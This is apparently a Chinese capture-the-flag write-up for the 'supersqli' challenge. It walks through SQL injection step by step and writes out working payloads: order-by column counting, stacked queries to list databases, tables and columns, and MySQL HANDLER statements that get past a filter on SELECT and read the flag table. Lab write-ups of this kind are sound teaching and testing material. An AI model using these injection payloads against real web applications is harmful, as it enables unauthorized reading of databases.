攻防世界——supersqli

一个SQL注入题

先判断是字符型还是数字型注入

字符型注入:需要闭合前面的引号,通常使用 ' 或 ",如 1'--+

数字型注入:不需要额外的引号闭合,直接添加条件即可

'1 and 1=1'

无报错

1 and 1=2

无报错

初步确定为字符型

  • and 1=1 (恒真条件):如果页面正常返回,说明SQL语句被执行了
  • and 1=2 (恒假条件):如果页面显示异常、空白或提示"无结果",表明应用程序对SQL结果有判断

1'--+

无报错

确定为字符型

对于字符型注入

  • 如果直接使用 1 and 1=1 而不闭合引号,可能两种情况都报错
  • 需要先闭合引号(如 1' and 1=1--+)才能看到正确反应

查询字段数

1' order by 3--+

报错了

1' order by 2--+

无报错

说明有两个字段

尝试联合查询(union)

显示select,update,delete,drop,insert,where,被正则过滤了

尝试堆叠查询

堆叠注入(Stacked Queries)指通过分号(;)连接多个SQL语句,使数据库依次执行的技术。其成功依赖于应用程序使用的数据库API是否支持多语句执行(如PHP的mysqli_multi_query()而非mysqli_query())。

  • 使用分号(;)作为语句分隔符

1';show databases--+

无报错

找到了5个数据库

根据题目提示,我们选择supersqli库

1';use supersqli;show tables--+

找到2个表

查找1919810931114514字段内容

?inject=1';use supersqli;show columns from `1919810931114514`--+

找到flag字段

数据库中查询以数字命名的字段或表要用单引号包裹起来

对于select的过滤

我们可以用handler查询来代替select查询

1';use supersqli;handler `1919810931114514` open as p;handler p read first--+

handler `1919810931114514` open as p; -- 以"句柄"方式打开表 `1919810931114514`,ps
handler p read first; -- 读取该表的首行数据

找到flag

复制代码
flag{c168d583ed0d4d7196967b28cbd0b5e9}
相关推荐
XLYcmy26 分钟前
面向安全领域决策的大型语言模型漏洞价值评估对齐机制与智能化评级系统研发 研究方向与核心内容
网络安全·llm·sft·cve·cot·对齐·漏洞检测
梦想平凡34 分钟前
百游棋牌源代码开发搭建教程(五):房间创建、座位分配与请求幂等实现
前端·javascript·数据库·源代码管理
凤山老林43 分钟前
Spring Boot 整合 Flowable 的企业级落地指南
数据库·spring boot·后端·flowable·工作流
企业数字化笔记1 小时前
AI写的系统出现504怎么办?接口超时和数据库慢查询排查
数据库·后端
2601_962218611 小时前
万象生鲜系统订单全生命周期状态同步技术实现业务可视
大数据·数据库·人工智能·python·算法
Wang's Blog2 小时前
Java框架快速入门:Spring Security+OAuth2之用户注册与唯一性校验实现
java·数据库·spring
跨境生态圈2 小时前
2026谷歌SEO快速排名深度解析:合规起量、避坑指南与实战落地策略
数据库·人工智能·爬虫·搜索引擎·chatgpt
JavaPub-rodert3 小时前
Docker 安装 MySQL 完整教程:从零部署数据库,到生产环境持久化配置
数据库·mysql·docker
隔窗听雨眠3 小时前
MySQL整库迁移至KaiwuDB完全指南:从数据类型映射到生产切换的系统性实践
数据库·mysql
xhbh6663 小时前
中小企业 Redis 运维,如何安全归档 RDB、AOF 备份文件?
运维·数据库·缓存·数据备份·文件备份·同步备份·号码备份